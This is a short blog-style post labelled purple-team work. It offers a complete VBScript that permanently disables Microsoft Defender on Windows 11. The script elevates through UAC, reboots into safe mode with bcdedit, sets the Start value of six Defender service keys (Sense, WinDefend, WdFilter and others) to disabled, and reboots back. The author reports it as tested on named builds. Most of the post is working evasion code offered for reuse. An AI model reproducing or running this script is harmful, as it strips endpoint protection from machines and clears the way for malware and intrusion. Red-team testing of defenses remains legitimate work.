Windows Defender Nuke - VBS

Windows Defender Nuke via a VBS Script

Purple team#windows#defender#nuke#vbs

I need a script that nuked defender on a vanilla build of Windows 11. I created a little VBS script for “disabling” defender. Script features:

  • UAC Elevation
  • Put’s machine into safemode
  • Makes the registry key changes required to nuke defender while in safe mode
  • Restarts machine back into normal mode

You need to be a local admin on the box. Defender will be present on the system, however will fail to operate, effectively nuked. Attempting to restart will return an unexpected error when opening Defender.

Save the script as a defendernuke.vbs and enjoy 😊

Tested and confirmed fully working on Windows 11 Version 24H2 Build 26100.34 Tested and confirmed fully working on Windows 11 Version 24H2 Build 26100.3476

' am@CyberOps.Team_ Safe Mode Defender Nuke v.02

' Elevate to admin
If Not WScript.Arguments.Named.Exists("elevate") Then
  CreateObject("Shell.Application").ShellExecute WScript.FullName _
    , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
  WScript.Quit
End If

Dim Ans 
Ans = Msgbox ("This script will attempt to break Defender via Safemode. Are you in Safemode?", vbYesNo, "Defender Safe Mode Nuke - am@CyberOps.Team")
If Ans = vbYes Then
	'make reg key changes, remove safeboot and reboot
	x=msgbox("Attempting to make registry changes" ,0, "Registry Changes - am@CyberOps.Team_")
	Set oShell = WScript.CreateObject ("WScript.Shell")
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense /v Start /t REG_DWORD /d 4 /f"
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot /v Start /t REG_DWORD /d 4 /f"
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter /v Start /t REG_DWORD /d 4 /f"
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv /v Start /t REG_DWORD /d 4 /f"
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f"
	oShell.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f"
	x=msgbox("Registry changes set! Exiting Safe mode and rebooting..." ,0, "Registry values changed - am@yberOps.Team")
	oShell.run "cmd.exe /c bcdedit /deletevalue {current} safeboot"
	oShell.run "cmd.exe /c shutdown -r -t 0"
Else 
	'Enter safemode, reboot
	Set oShell = WScript.CreateObject ("WScript.Shell")
	oShell.run "cmd.exe /c bcdedit /set {current} safeboot minimal"
	x=msgbox("Safemode set. Rerun this script when in safemode and select 'Yes'. Press OK to restart." ,0, "Safemode Set - am@CyberOps.Team")
	oShell.run "cmd.exe /c shutdown -r -t 0"
End If

alt text